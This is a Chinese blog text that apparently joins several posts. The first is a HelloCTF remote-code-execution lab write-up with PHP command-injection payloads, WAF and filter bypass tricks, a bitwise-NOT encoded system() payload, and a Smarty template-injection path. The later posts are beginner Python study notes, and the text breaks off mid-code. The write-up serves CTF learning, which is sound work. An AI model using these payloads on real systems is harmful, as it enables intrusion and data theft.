刚接触 Web 安全时，看到满屏的 PHP 代码、各种奇形怪状的符号，整个人都是懵的。这次死磕了 HelloCTF 的 RCE 靶场，从最基础的 cat /flag，一路解到了“ 无回显 ”、“ 无参数 ”、“ 无字母数字取反 ”，甚至到了让我头皮发麻的“ Smarty 模板注入 ”。

这篇博客不仅记录了我的解题思路，更是我这几天的踩坑史。

第一章：核心心法（万能解题三板斧）

拿到任何一道 Web 题，千万别从第一行代码开始死读，会晕。直接 Ctrl+F 搜索以下三个关键点 ( 眼神好的可以不搜 )：

第一板斧：找入口（数据从哪进来？）

解释：找门缝。
你要攻击服务器，总得有个地方把你写的代码（ Payload ）就是你精心构造、发给服务器用来触发漏洞（ 比如执行命令 ）的那段恶意代码或数据。递进去。如果连门都没有，你武功再高也打不进去。
在 PHP 代码里，外部输入的 “ 门 ” 主要就是 GET 和 POST。

为什么 GET 要加 ? 而 POST 不加 ？

核心原因：数据的 “ 包装方式 ”不同。

1. GET（ 明牌进门 ）：数据直接贴在门面上

你可以把 ? 想象成快递单上的 “ 分割线 ”。

在 HTTP 协议里，URL 的本职工作是告诉服务器 “ 你要访问哪个页面 ” （ 比如 /index.php ）。如果这时你还想顺便带点数据过去，就必须用 ? 作为分隔符，大声告诉服务器：“ 前面的 /index.php 是地址，后面的 name=admin&cmd=ls 是我要带的数据 。”

• 为什么用 &？ 因为带了多个参数（比如姓名和指令），就像串签子一样，用 & 把它们连起来。

2. POST（ 暗牌进门 ）：数据装在信封里

POST 请求的 URL，只负责指路（ 比如就是干净的 /index.php ）。
你要传的数据，不会跟在 URL 后面，而是被塞进了一个叫 “ 请求体（ Request Body ） ” 的黑色信封里。服务器拿到这个信封（URL），知道里面有东西，它会自己拆开信封去拿数据，所以 URL 上根本不需要 ? 来做标记。

CTF 思路：做 Web 题看到

1
2

$_GET['参数名']
$_POST['参数名']

立刻明白：“ 这里就是我的突破口，它接收什么参数名，我就必须传什么参数名。”

第二板斧：找限制（ 门卫查了什么？）

解释：看安检机。
你找到了门，但是门口站着保安（过滤代码），他不让你带着危险物品进去。在 PHP 里，最狠的保安就是 preg_match。

• preg_match（正则过滤）：黑名单查杀。比如 preg_match(“/system|eval/i”, $cmd)，意思是只要你的传进去的数据里有 system 或者 eval 这个词，直接拉黑拦截。

什么是正则过滤？

1. 通俗解释：保安

“ 正则 ”（ 正则表达式 ）其实就是一种描述文字规则的公式。比如规定：“ 必须是 11 位纯数字 ”（ 手机号 ）、“ 必须以 .jpg 结尾 ”（图片）。
“ 正则过滤 ”就是服务器写在代码里的 “ 黑名单保安 ”。它拿着这个规则公式，去检查你发给服务器的每一句话（ 你的 Payload ）。只要发现里面有不符合规定，或者它觉得危险的词（ 比如 system、eval、flag、单引号 ’ ），它就会直接把你拦住，不让你执行。

2. 在 PHP 代码里长什么样？（ preg_match ）

你在题目里看到的 preg_match，就是 PHP 里专门用来做正则匹配的函数。

比如，源码里如果写了这句：

1
2
3

if (preg_match("/system|exec|shell/i", $_GET['cmd'])) {
    die("黑名单拦截！你想干嘛！");
}

这句话的意思是：如果你通过 GET 传进去的参数 cmd 里，包含了 system、exec、shell 这几个词（不区分大小写），服务器就会直接停止运行，并弹出“ 拦截 ”。

• strlen（长度限制）：规定你传的话不能超过多少个字符。
• str_replace（替换过滤）：发现你带了危险词，直接给你换成空字符串。

CTF 思路：知道保安在查什么，接下来就是“ 绕狗 ”（绕过安全狗）。保安查 system，你就用大小写 System、或者用拼接 sys.tem、或者换用它的兄弟函数 passthru 来代替。

第三板斧：找漏洞（杀招在哪？）

解释：找武器的扳机。
你成功把危险物品带进去了，但必须得有个人帮你 “ 按响扳机 ”，这个物品才能炸开。这就是危险函数，也就是 RCE（ 远程代码执行 ）的源头。

• 代码执行：eval( ) 它会把接收到的字符串当成 PHP 代码执行。比如传 ?code=phpinfo();。
• 命令执行：system( )、exec( )、shell_exec( )、反引号 ` 它们会让服务器的 Linux 操作系统去跑命令。比如传 ?cmd=cat /flag。
• 文件包含：include( )、require( )。用来把你的文件或者远程恶意代码拉进来运行。

CTF 思路：这通常是题目要你用 Ctrl+F 找的终极目标。找到了 eval 或者 system，再配合第一板斧的入口和第二板斧的绕过，把参数传进去，Flag 就弹出来了！

代码执行 ( eval ) 和 命令执行 ( system )：

eval( ) ：把字符串当 PHP 代码跑。比如 eval (“system( ‘ls’ );”)

system( ) ：直接调用底层 Linux 命令。比如 system( “ls” ) ;

无回显 ：服务器执行了命令，但结果被重定向到“ 垃圾桶 ”（ /dev/null ），你在网页上看不到任何输出。

RCE 实战必备：Linux 命令宝典( 防忘我也记不住😇)

1. 基础探路（我是谁？我在哪？）

拿到命令执行权限后，先别急着找 Flag，先搞清楚自己在哪，是什么权限。

• whoami ：查看当前用户权限（如果是 www-data，说明权限较低；如果是 root，那恭喜你直接通关）。
• pwd ：查看当前所在目录。
• ls -la ：列出当前目录所有文件（包含隐藏文件）。
• uname -a ：查看系统内核版本（为提权做准备）。
• ifconfig 或 ip addr ：查看内网 IP，为后续内网渗透做准备。

2. 花式找 Flag（绕过文件读取限制）

很多时候，题目会过滤掉 cat，或者 Flag 藏得很深。

• cat /flag ：最基础的读取。
• tac /flag ：反向读取（从最后一行往上读，常用于绕过 cat 的黑名单）。
• nl /flag ：带行号读取。
• head -n 100 /flag ：读取前 100 行。
• tail -n 100 /flag ：读取后 100 行。
• grep “flag{” -r / ：全局搜索。直接在整个根目录下搜包含 flag{ 的文件。
• find / -name “flag” ：根据文件名找含有 flag 的文件。
• sort /flag ：按字典序排序读取，有时候也能绕过简单的正则。

3. 编码与特殊读取（应对无回显/乱码）

当你的命令执行了，但因为特殊字符没回显，或者被 WAF 拦截了，可以用这些：

• base64 /flag ：把文件内容转成 Base64 编码输出（安全且不会因为特殊字符报错）。
• xxd /flag ：把文件转成十六进制输出。
• strings /flag ：提取文件里的可打印字符（有时候 Flag 藏在二进制文件里）。
• od -c /flag ：以八进制格式输出文件内容。

4. 进阶绕过（当命令被拉黑时）

如果题目过滤了空格、或者过滤了 cat：

• 绕过空格 ：cat$IFS/flag 或 cat<flag
• 绕过关键字 ：c"“at /fl”"ag（双引号拼接）、c\at /flag（反斜杠转义）
• 通配符绕过 ：cat /fla? 或 cat /f*

第二章：实战（按关卡类型拆解）

1. 基础入门：一句话木马与文件上传

题目表现：源码里有 eval($_POST[‘a’]) ; 或者有一个上传按钮。

1
2

// 源码
eval($_POST['a']);

1
2

// Payload (传入 PHP 代码)
a=system('ls /');

原理与解释：eval 是个听话的打手，你告诉他去干什么（ system ），他就干什么。@ 符号是消音器，屏蔽报错。

避坑：上传文件后缀必须是 .php，传 .txt 服务器只会把它当文章展示，不会执行。

2.命令注入与逻辑运算符

题目表现：利用 Linux 终端的分隔符强行拼接命令。

1
2

// 源码
system("ping -c 1 $ip");

1
2

// Payload (利用管道符截断前面命令的回显，只输出结果)
?ip=8.8.8.8 | cat /flag

在 Linux 里 | ; && || 都可以用来连接多条命令。

3. 与 WAF 的游戏（各种绕过）

当 WAF 出现，我们可以给 Payload “ 易容 ”。

过滤了关键字 flag：

• 过滤了关键字 flag：

  1 2 3

  cat /fl?g // 利用通配符 cat /f* // 利用星号 cat /fl''ag // 字符串拼接

• 过滤了空格：

  1 2	cat$IFS/flag // 利用环境变量 cat%09/flag // 利用 Tab 键的 URL 编码

• 过滤了斜杠 /：

  1	$'\057' // 利用 ASCII 码的八进制表示

• 限制长度（如只允许 5 个字符）：

  1

  cat /f*

4. 无回显突破

题目表现：出题人加了 >/dev/null 2>&1，把你的结果扔进（垃圾桶）。

1
2
3
4
5
6
7
8

// Payload 1：利用换行符强行撕开防线
?cmd=cat /flag%0a

// Payload 2：利用分号强行截断出题人的代码
?cmd=cat /flag;

// Payload 3：逻辑短路
?cmd=cat /flag || /dev/null

解释 ：出题人拿胶带封了你的嘴，你加个换行符，相当于在胶带上扎了个洞，声音就漏出来了。

5. 无参与无字母数

• 无参数 RCE ：不能带任何引号和参数。

1
2

// 从请求头里偷数据
?code=eval(current(getallheaders()))%3B

( 注意：末尾必须带分号，而且在 URL 里必须写成 %3B，我已经被坑惨了 )

• 无字母数字（取反魔术）：所有字母和数字被禁。

  1 2	// 将 system('cat /flag') 彻底取反变成不可见字符 code=$_=~"%8C%86%8C%8B%9A%92";$__=~"%D8%9C%9E%8B%DF%D0%99%93%9E%98%D8";$_($__);

  解释：计算机里字母都有编号，前面加 ~ 就变成了乱码。门卫看不懂放行，PHP 进后台自动帮你反转回来。

6. Smarty 模板注入 ( SSTI )

题目表现：利用底层框架的链式调用来执行系统命令。这个非常恶心，往往需要用到 Python 脚本自动计算哈希值。

1
2

# 这是一个自动化生成并发送恶意路径的 Python 脚本片段
target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag*")}/../../pages/about'

第三章：我踩的坑（ 踩坑实录 ）

这部分是最精华的，因为我真的在这些地方卡了挺久。

1. 被出题人的“假文件”骗了

经历：用 scandir(‘/’) 扫到了 /flag，用 readfile 去读却报 No such file。
避坑：这说明文件可能是个假软链接、被锁了权限。果断去扫描别的目录（ 比如 uploads ），或者直接读环境变量 getenv( )。

2. 取反漏了单引号，程序直接罢工

经历：把 cat /flag 取反了，结果报 Use of undefined constant。
避坑：PHP 里的字符串需要引号包裹！单引号 ’ 也必须取反（变成 %D8）。

3. HackBar 的 “ 好心办坏事 ”（ 二次编码 ）

经历：Payload 里有 %8C，被 WAF 拦了。因为 HackBar 自动把 % 再次编码成了 %258C，导致混入了数字 2 和 5，触发了拦截。
避坑：遇到特殊符号多的 Payload，果断换成 Burp Suite 或 Python。Burp 是老实人，你写啥它发啥。

4. 环境太脆，动不动就 404

经历：代码明明没错，屏幕却回显一堆落花的 JS 代码。
避坑指南：这说明靶场超时了，环境销毁了。去平台点重置环境。这不是你的错，是靶场太脆了。

今天跟着“1024程序员节”的课表开始学 Python。上午的进度虽然只推进了两节（复习基础语法 + 函数）为了防止自己“学了就忘”，我把上午的踩坑记录和知识理解整理了一下。

一、 被 while 和 break 折磨

今天写的第一个完整程序是“重启终端：口令 1024 。代码虽然不长，但我调了好几次。
下面是我写的打卡器：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

check_count = 0

while True:
    if check_count == 3:
        print("今天打卡已上限，去休息吧")
        break
    task = input("请输入今天的学习内容(输入exit退出): ")
    if task == "exit":
        print("终端已关闭")
        break
    if task == "1024":
        check_count += 1
        print(f"打卡成功，当前已打卡{check_count}/3个。")
    print("-" * 20)

最后那句可以不写的,就是看起来更美观一点

给自己记下的两个教训：

1. check_count = 0 必须写在 while 外面！ 我今天才彻底搞懂，如果把这个记分牌写在 while 里面，每次循环一开始，分数就被强行清零了，永远也攒不够 3 次 。
2. 不加 break 就是是个死循环。 while True 是个无底洞，如果我不写 break 去结束它，即使输入了 exit ，程序也会继续问我 请输入学习内容 。

二、 懂了，但没完全懂的函数（参数和返回值）

上午重点学了 def 定义函数。我把函数整合到了打卡器里，写了进阶版的代码：

1
2
3
4
5
6
7
8
9

def calculate_exp(times):
    base_exp = times * 10
    if times >= 3:
        base_exp += 50
    return base_exp

# ... 这里为了方便省略了while循环，主程序是前面标题一的那个代码 ...
        my_exp = calculate_exp(check_count)
        print(f"获得经验值：{my_exp} 点！")

我们总说“定义一个函数”，我查了一下其实代码里的 def 就是英文 define（定义）的缩写。
那函数又是什么：你放进去 参数 ，按下启动键 执行代码，最后出来了 返回值 。它最大的好处就是把一堆干活的代码“ 打包 ”起来，起个名字，以后需要用到的时候，喊一声名字就行了，不用重复写。

• def ：给电脑下达“造机器”的指令。
• calculate_exp ：给这个机器起的名字（以后叫名字就能用它）。
• ( times )：机器接收参数的地方，得往里面塞个东西，机器才能运转。
• :（冒号）：这个很重要，它相当于宣告：“ 机器内部的构造说明书，从下一行开始！”所以下一行必须要缩进。
  我理解的 ：原来 def 只是在“画图纸”和“造机器”。只要电脑没看到你 “ 按开关 ”（也就是没看到你调用 calculate_exp(3)），这台机器造好了也只会静静躺在那里，根本不会自己跑起来。只有调用它，它才会开始工作。

脑补：print 和 return 到底差在哪？
这是上午最卡我的地方。我还以为写个函数让它打印出来就完事了，今天才明白：

• return 是交还结果：函数算完账，用 return 把数据悄悄塞回给外面的变量（ my_exp ），这一步在屏幕上是看不见的。
• print 只是让你看个响：外面拿到了 my_exp 这个数据后，我再写个 print，屏幕上才会出现“获得经验值”。

  总结 ：没 return，外面的程序就接不到数据；没 print，我就看不到结果。

三、 实战做题：

上午做了一道限时题：算算距离 1024 经验差多少，如果超额了就输出 0，且要求不要打印任何提示语。
我提交的正确代码（后面还有翻车操作）：

1
2
3
4
5
6
7
8
9
10
11

# 1. 接收输入：题目要求不要任何提示语，直接接收并转成整数
n = int(input())

# 2. 算差值：目标 1024 减去当前分数 (n * 32)
diff = 1024 - n * 32

# 3. 判断输出：如果差值大于 0，说明还没达到；否则说明达到了或超额
if diff > 0:
    print(diff)
else:
    print(0)

第一步：接收输入

题目要求 “ 输入一个非负整数 ” ，然后题目是说：“不要打印任何提示语”。

所以，代码不能写 input(“请输入…：”)，只能写：n = int(input())

第二步：算差值

题目说“每完成一道题获得 32 点经验”，那目前的经验就是 n * 32。目标是要攒够 1024 点经验，那距离目标还差多少呢？

就是拿总分减去当前分：1024 - (n * 32)。我把这个算出来的差值装进一个变量里，叫它 diff：

diff = 1024 - n * 32

复盘时的反思：现在我觉得叫 task_count 更好
我上面交上去的代码里，变量用的是 n。这是数学题的老习惯，我当时图省事就写了。
但现在写这篇复盘博客时，我越看越觉得不对劲。代码不仅是给电脑跑的，更是给人看的。n 过几天我自己可能就忘了是啥意思。
如果把它起名叫 task_count（ 任务数量，也可以理解成题目数量 ），一眼就能看出这是“ 完成的题目数量 ”，可读性强多了。

第三步：判断输出
题目要求：如果还没达到，输出差值；如果达到或超过了，输出 0。
这时候就要看 diff 的值了：

· 如果 diff > 0：说明还没到 1024，那就直接输出差值。
· 如果 diff <= 0（也就是 else）：说明不仅到了，还可能超额了（差值是负数或者0），题目要求这种情况输出 0，那就直接 print(0)。
总结一下我的思考：
刚开始做题时，我容易在“大于、小于”里面绕进去（这也是我踩坑第 3 点写的，看别人写成 if diff >= 1024 直接绕晕了）。
后来我想明白了：我只要关心“还差多少（正数）”就行了，至于超过的部分，题目说不用管，直接给个 0 就行。

运行时我的翻车操作：

1. 输入空回车会死机 ：我运行测试的时候手欠，直接按了回车，结果报错，具体它写的什么不记得，但是大概意思就是：int( ) 遇到空字符串（空气）直接罢工了。以后测试这种题，千万不能习惯性按回车。

2. 不要乱加提示语：平时习惯写 input(“请输入…”)，但是系统它只认纯数字。

3. 逻辑差点写反：差值是 1024 - 得分。如果超额完成，这个差值就是负数。所以判断是否输出 0，条件是 if diff <= 0 或者像上面那样 if diff > 0 走正常流程。看别人代码时，发现有人写成了 if diff >= 1024，逻辑直接就绕进去了。

四、数据结构：把数据管起来（列表与字典）

下午学了字典（Dict）和列表（List）

• 字典 ：用大括号 { } 包起来，左边是键（Key），右边是值（Value）。
• 我犯的错 ：一开始把年龄写成了 ‘year’ : ‘19’（加了引号变成了字符串）。以后要是拿年龄做加减法计算，绝对会报错，数字千万别加引号。
  先看一段最基础的代码，感受一下：

1
2
3
4
5
6
7
8
9
10
11
12
13

# 1. 创建一个字典
player = {
    'name': 'myrvyn',
    'year': 19,   #我就是这里写错了😅，不要加引号
    'hobby': '敲代码'
}

# 2. 读取：通过键名取值
print(player['name'])    # 输出：myrvyn

# 3. 修改：直接给键重新赋值
player['year'] = 20      # 年龄改成20岁
print(player['year'])    # 输出：20

用下来我觉得字典最好用的地方在于，它能用一个“名字（键）”直接找到对应的“东西（值）”。而且它是可变对象，我们可以随时修改里面的数据，这在做身份卡、存用户信息时非常方便。

菜单循环与功能拆分

然后这是我课上写的代码分解：

1
2
3
4
5
6

# 1. 用字典存储个人身份信息
my_info = {
    'name': 'myrvyn',
    'year': 19,
    'hobby': '敲代码'
}

为什么 my_info 要写在外面？
因为它是“全局”的数据。

1
2
3
4
5
6
7
8

# 2. 功能函数：封装展示个人名片的逻辑
def show_card(info_dict):
    print("\n" + "=" * 25)
    print("【个人信息卡片】")
    print(f"昵称:{info_dict['name']}")
    print(f"年龄:{info_dict['year']}")
    print(f"爱好:{info_dict['hobby']}")
    print("=" * 25 + "\n")

为什么要单独写一个 show_card 函数？
因为不封装成函数，每次用户输入 check ，我们都要把上面这几行 print 重新写一遍。封装成函数后，主程序里只要一句 show_card(my_info) 就能直接调用，代码更干净。这就叫“封装”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# 3. 主程序：命令行交互循环
print("(提示: 输入1024打卡, 输入check查看身份, 输入exit退出)")

while True:
    user_input = input("请输入指令: ")

    # 路由分发：根据不同的指令执行不同的操作
    if user_input == "exit":
        print("终端已关闭。")
        break  # 退出无限循环
    elif user_input == "1024":
        print("打卡成功,经验值+1")
    elif user_input == "check":
        show_card(my_info)  # 调用函数，传入字典
    else:
        print("未知指令,请重新输入")

讲讲 while True 的感觉。就是可以比喻说：“这就好比我开了一家店，只要顾客没喊 exit（关门），我就一直坐在这里等他们输入指令。”

看着这三段代码，最大的感受就是“逻辑其实不难，就是把生活搬进代码里”。字典就是我的身份档案，函数就是我的展示卡片动作，while 循环就是我在等你跟我说话。

列表在代码里怎么用（简洁了一点）：

在代码分解1里面，最后一个代码后面，加上 'skills': ['Python', '写代码', '找Bug']。在“代码分解2”里面倒数第二行，加上 print(f"技能:{info_dict['skills']}")。
理解 ：为什么要在字典里塞一个列表？

• 在写“ 个人信息卡片 ”的时候，我发现“爱好”通常只有一个（比如敲代码），用字符串就够了。但是“技能”往往有多个。
• 如果我把技能写成 ‘skills’: ‘Python, 写代码, 找Bug’，它本质上还是一个长字符串，以后如果我想单独把 Python 挑出来，就很麻烦。
• 所以我用了一个列表 [‘Python’, ‘写代码’, ‘找Bug’] 作为字典的值。这就是今天学到的（字典套列表）。当程序打印 info_dict[‘skills’] 的时候，它会原封不动地把整个列表展示出来。这样写，方便以后随时添加新技能。

五、让程序拥有记忆与容错能力（with open）

前面的终端，只要一敲 exit 数据就全丢了，而且用户要是乱输入还会直接崩溃。为了解决这两个问题，我用了两段代码来巩固 with open 和 异常处理。

怎么理解 with open 这几个词？

• open：就是“打开文件”。
• as f：给打开的文件起个外号叫 f。接下来读（f.read()）或者写（f.write()），直接喊 f 就行。
• with：这是最核心的词。有了它，就完全不用写 f.close( )。只要代码退出了 with 的缩进范围，不管中间有没有报错，它都会保证把文件安全关上。

1. with open：这到底是啥？

这是以前的“ 非优雅 ”写法（容易漏内存）：

1
2
3

f = open("笔记.txt", "r", encoding="utf-8")
content = f.read()
f.close()  # 必须手动关门！

不好在哪？ 如果 f.read() 的时候代码突然报错崩溃了，程序直接中断，根本走不到 f.close() 这一步。结果就是文件被占用，造成内存泄漏。

这是现在的“ 优雅 ”写法（with open）：

1
2
3

with open("笔记.txt", "r", encoding="utf-8") as f:
    content = f.read()
# 只要退出了缩进，文件就会自动关闭，就算中途报错也会关！

2. 用 mode=“a” 写一个极简“ Bug记录仪 ”

懂了 with open 之后，我写了一个极简版的代码，把灵感追加存进 txt 文件里：

1
2
3
4
5
6
7

content = input("请输入你的灵感: ")

# mode="a" 代表追加模式，不会覆盖旧内容
with open("灵感.txt", mode="a", encoding="utf-8") as file:
    file.write(content + "\n")  # 加 \n 是为了换行

print("记录成功！")

复盘：

• 之前学的是 mode=“w”（ 覆盖写入 ），只要用 “w”，以前写的东西就全没了。
• 这次用了 mode=“a”（追加），它就像翻到笔记本的下一页接着写，之前的记录稳稳保留。这就是让程序拥有“ 记忆 ”的基础。

结合课上的截图，我发现 open 函数其实大有学问。它不仅仅是一个 “ 打开 ” 动作，里面还有好几个关键参数：

1
2
3

# 优雅写法完整版
with open(r"C:\Users\1\Desktop\test.txt", encoding="utf-8", mode="w") as f:
    content = f.read()

这行代码里包含了这几个关键点：

1. 文件路径 ：

课上的笔记写了这两个概念，我一开始也绕晕了，后来用快递地址和指路来理解，瞬间就通了：

绝对路径 ：( 像写快递地址 )

• 概念：从电脑的“盘符”（比如 C盘、D盘）开始，一直写到你想要的文件名，一步都不落下。
• 代码示例：C:\Users\1\Desktop\today\test\test2.txt

  我的理解：就像寄快递，必须写明“中国-江西省-南昌市-某某区-某某路-某某小区-几栋几号”。不管你人在哪里，只要拿到这个完整的地址，就一定能找到目标。

相对路径: ( 像在家里指路 )

概念：以你当前运行的代码文件所在的位置为起点，去找到目标文件。

代码示例 ：

• 如果文件和代码在同一个文件夹里，直接写文件名就行：“test2.txt” 。
• 如果在代码文件的上一级目录，写：“…/test2.txt” 。

  我的理解：就像你在家里坐在沙发上，跟室友说 “ 去厨房拿个苹果 ”。你不需要说 “ 去地球上中国某某小区的厨房 ”，因为室友（电脑）知道你现在就在家里（当前代码目录），它顺着你的位置去找厨房就行。

• 注意 ：Windows 路径里有反斜杠 \，为了防止被识别为转义字符（比如 \n），前面一定要加个 r（代表 raw string）。

2. 编码 (encoding)：

• 一定要写 encoding=“utf-8” 。如果电脑默认用 GBK ，读中文就会乱码。
• 为什么一定要写？ 记得课上学长说的：计算机底层只认识 0 和 1，把中文变成 0 和 1 的规则就叫 “ 编码 ”。不同系统默认的编码不一样（这是我查的Windows 经常默认是 GBK，而 Mac/Linux 默认是 UTF-8）。
• 乱码：如果不指定 encoding=“utf-8”，写进去的中文在别人的电脑上打开可能全是一堆问号或者“锟斤拷”。
• 结论：只要写文件，无脑加上 encoding=“utf-8”

3. 模式 (mode)：

这是最核心的参数，决定了你打开文件后能干嘛：

• mode=“r”（只读模式，默认）： 只能看，不能改。如果文件不存在，程序会直接报错 FileNotFoundError。

课后补充：带 + 和 b 的模式：

• r+、w+、a+ ：代表既能读又能写。
• rb、wb ：代表以二进制模式读写。如果要处理图片、视频、音频这些非文本文件，就必须用带 b 的模式，且不能指定 encoding 。

总结：
平时写代码，如果能用相对路径（比如就直接写 “log.txt”）就用相对路径，因为代码挪到别的电脑上也能直接跑。

如果实在找不到，或者必须用绝对路径，记得在 Windows 下加个 r 防转义

基础异常处理：

有了文件操作还不够，如果用户乱输入，程序还是会崩溃。我写了个“成绩查询系统”来练习 try 和 except 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

scores = {"语文": 91, "数学": 90, "英语": 77}
subject = input("请输入科目: ")

try:
    # 尝试拿数据，如果输入了字典里没有的科目，会报 KeyError
    print(f"你的{subject}成绩是 {scores[subject]} 分")

except KeyError:
    # 接住错误，程序不崩溃，温柔地提示你
    print("没有找到该科目的记录，请检查拼写~")

else:
    # 只要 try 里面没报错，就会执行这里
    print("查询完毕！")

结合我的成绩查询代码，它的运行逻辑是这样的：

1. try（尝试区）：

1
2

subject = input("请输入科目: ")
print(f"你的{subject}成绩是 {scores[subject]} 分")

我告诉电脑：“ 你先试着执行这两行代码 ”。如果我输入了“ 数学 ”，字典 scores 里面有，电脑顺利打印出成绩。
2. except KeyError（兜底区）：

如果我手欠，输入了“ 物理 ”或者“ 体育 ”或者其他什么，字典里根本没有这个键。按照以前的脾气，电脑会直接爆红报错（KeyError），程序当场死机。
但现在我写了 except KeyError: 这就相当于告诉电脑：“如果你遇到了找不到键（KeyError）的错误，别死机，来执行我这里的代码。”所以它会温柔地打印一句：“ 没有找到该科目的记录 ”。
3. else（顺利区）：

1
2

else:
    print("查询完毕")

只要 try 里面的代码没有发生任何报错，顺利跑完了，它才会接着执行 else 里面的代码。
我的脑补 ：
以前只要我输入错东西，程序直接一片爆红死机。现在有了 try 和 except：

• try 就是 “ 你试着跑一下 ”。
• except KeyError 就是 “ 如果报了这个错，我来接住 ”。
• else 是 “ 如果一切顺利，最后打印这句话 ” 。

  这样程序就有了容错能力

六、 限时挑战赛：B题与C题复盘

在做完前面的终端后，我挑战了下面两道题。这两道题让我对“枚举”和“基础复杂度”有了深刻的体会。

C题：连续打卡

题目大意：输入一个只包含 0 和 1 的字符串（1代表打卡了），求最长连续 1 的长度。
示例：输入 11011101，输出 3。

思路拆分：
题目给的提示非常有用：“ cur 记当前连续几个 1，best 记历史最长 ”。
这就像打游戏，cur 是你当前的连杀数，best 是你本局的最高连杀记录。一旦死了一次（遇到 ‘0’），cur 就归零了，但 best 会永远记住你最辉煌的时刻。

我的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13

s = input()
cur = 0   # 当前连续 1 的个数
best = 0  # 历史最长连续 1 的个数

for char in s:
    if char == '1':
        cur += 1  # 遇到 1，当前连击数 +1
        if cur > best:
            best = cur  # 顺手更新历史最高纪录
    else:
        cur = 0  # 遇到 0，连击中断，归零

print(best)

B题：寻找节日数字

题目大意：输入一个整数 n，统计 1 到 n 之间，包含字符 ‘4’ 的整数有多少个。
示例：输入 50，输出 14（因为 4, 14, 24, 34, 40~49 里面都有 4）。

思路拆分：
一开始我想得很复杂，去算个位、十位是不是 4。但题目提示直接把我看傻了：“把数字变成字符串，用 “4” in str(i) 就能判断”。
对哦，用 str(i) 把数字变成文本，然后直接看 “4” 在不在里面。

至于我看课表里说的 “ 基础复杂度 ”，题目里有一句话：“1 到 100000 共 10 万次判断，对电脑来说是眨眼的事。” 我觉得数 10 万个数要累死，但对 CPU 来说，连一秒钟都不用🤡。

我的代码：

1
2
3
4
5
6
7
8
9
10

n = int(input())
count = 0  # 计数器

# 枚举 1 到 n 的所有数字
for i in range(1, n + 1):
    # 将整数 i 转成字符串，检查 '4' 是否在里面
    if "4" in str(i):
        count += 1  # 如果包含，计数器加 1

print(count)

总结：
这两道题让我明白了，写程序不需要像人脑那样去 “ 硬算 ”。

• 遇到数数的问题，用 for 循环去枚举（一个个试）就行了，电脑最不怕的就是重复劳动。
• 遇到判断包含的问题，把数字转成字符串去查找，往往是会比数学公式更简单的。
• 这两道题的代码都没有超过 10 行，但解决的都是非常实际的问题。

前言：
记录一下学的 Python 基础语法的复盘。
主要梳理了变量、循环、条件判断、列表等基础知识

1. 输出 print（ ）

首先得让电脑开口说话，顺便给它个“收纳盒”

1
2
3

name = "战士"       # 把文字装进叫 name 的盒子
HP = 100            # 把数字装进叫 HP 的盒子
print(name, HP)     # 让电脑念出来

name 和 HP 就是收纳盒上的标签。那个等号 = 不是数学里的“等于”，而是“装进去”的意思。电脑看到 HP = 100，就会在内存里拿出一个盒子，贴上 HP 的标签，把数字 100 放进去。

print 就是让电脑开口说话。而“变量”就像是贴了标签的收纳盒。你往盒子里装个数字“100”，贴上标签叫 血量，以后你跟电脑说“血量”，它就知道是那个 100。

我自己总结：
表格

2. 输入 input ( ) 和 int ( )

• 买奶茶任务
  • 电脑得先问我带了多少钱，这就是 input( ) ，它会停下来等我打字。
  • 但这里有个坑：只要是你用键盘敲进去的，它全当作“文字”处理。文字是没法算加减乘除的，
  • 所以得用 int( )（整数）把文字“翻译”成真正的数字。

1
2

money = input("你有多少钱？")  # 电脑以为你输入的是字符串（文字），它不会算数
money = int(money)             # 翻译后，money 变成真数字了

3. //、% 与 f""

算能买几杯奶茶时，用到了三个符号：

• //（ 双斜杠 ）：叫整除。10块钱买3块一杯的奶茶，它只留整数3，砍掉小数。
• %（ 百分号 ）：叫取余。买完奶茶剩下的1块钱零钱，就是余数。
• f"" : 你可以把它当成 填空模板 。在字符串前面加个 f ，里面用大括号 {} 挖好坑。电脑运行到这，就会自动把变量里的值填进坑里。

1

print(f"能买{money // 3}杯，还剩{money % 3}块钱")

4. 条件判断与比较运算

这里的核心就是 if（ 如果 ），也就是给电脑立规矩。不过有个容易踩的坑，就是 ==。
一个等号（ = ）是往盒子里装东西（ 赋值 ），两个等号（ == ）才是问电脑这俩一样吗？（ 比较 ）。

如果第一个条件没中呢？这时候就用 elif（ 其实就是 else if 的缩写 ），意思是“如果上面那个不行，再看看我这个”。最后拿个 else 来兜底，意思是“前面都不满足，那就走这条吧”。

还有个很常用的词叫 and。你可以把它当成一个极其严格的裁判，意思是“并且”。它要求两边的条件必须同时成立才行。

像我在下面写的这个猜拳游戏：

1
2
3
4
5
6

if 玩家 == "石头" and 电脑 == "剪刀":
    print("玩家赢")
elif 玩家 == 电脑:
    print("平局")
else:
    print("电脑赢")

电脑在判断的时候，必须同时确认两件事：1. 玩家出的是石头吗？ 2. 电脑出的是剪刀吗？ 只要这两个条件里有一个没对上（ 比如电脑出的是布 ），and 两边就不满足，电脑就不会打印“玩家赢”。

（ 这里为了方便看懂，我直接用了中文当变量名，正常写的时候最好用英文比如 player 和 computer ）

5. for 循环 / range ( 累加 )

• 场景：假设你有个金币存钱罐，第1天存1块，第2天存2块……算算连续存几天能有多少金币。
  • for：就是“循环”，让电脑把一件事干很多遍。
  • range ( 1, 6 )：用来规定到底干几遍。代表从 1 开始，到 5 结束，根本不包含6，所以实际上只循环了5次。（ 包头不包尾，不包含6 ）。
  • 累加：就是找个空盒子（ 总数=0 ），每次循环把新金币装进去（ 总数 = 总数 + 新金币 ）。

来看实操：

1
2
3
4

总数 = 0
for i in range(1, 6):      # 相当于跑了5次
    总数 = 总数 + i        # 每次把 i 塞进总数里
print(总数)                # 最后算出来是 15

（ 这里说一句：python里的缩进很严格，代码里写的总数 = 总数 + i 前面一定要加4个空格（ 或者点 Tab 键 ），这样才能写 print 。不然电脑会直接报错 ）

6. 循环 while 和 break

场景：猜数字，不猜对不结束。

• while：当……的时候。只要条件成立，就一直循环。比如 while 没猜中，它就会一直让你猜。
• break：强行打断。猜对了，直接用 break 把整个循环停止，结束。

下面是我写的基础逻辑：

1
2
3
4
5

while True:          # 死循环（永远为真）
    猜的数 = int(input("猜个数字:"))
    if 猜的数 == 666:
        print("猜对了!")
        break        # 结束循环

完整一点：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import random

print("=" * 40)
print("进入猜数字小游戏！猜猜一个1~100内的整数。")
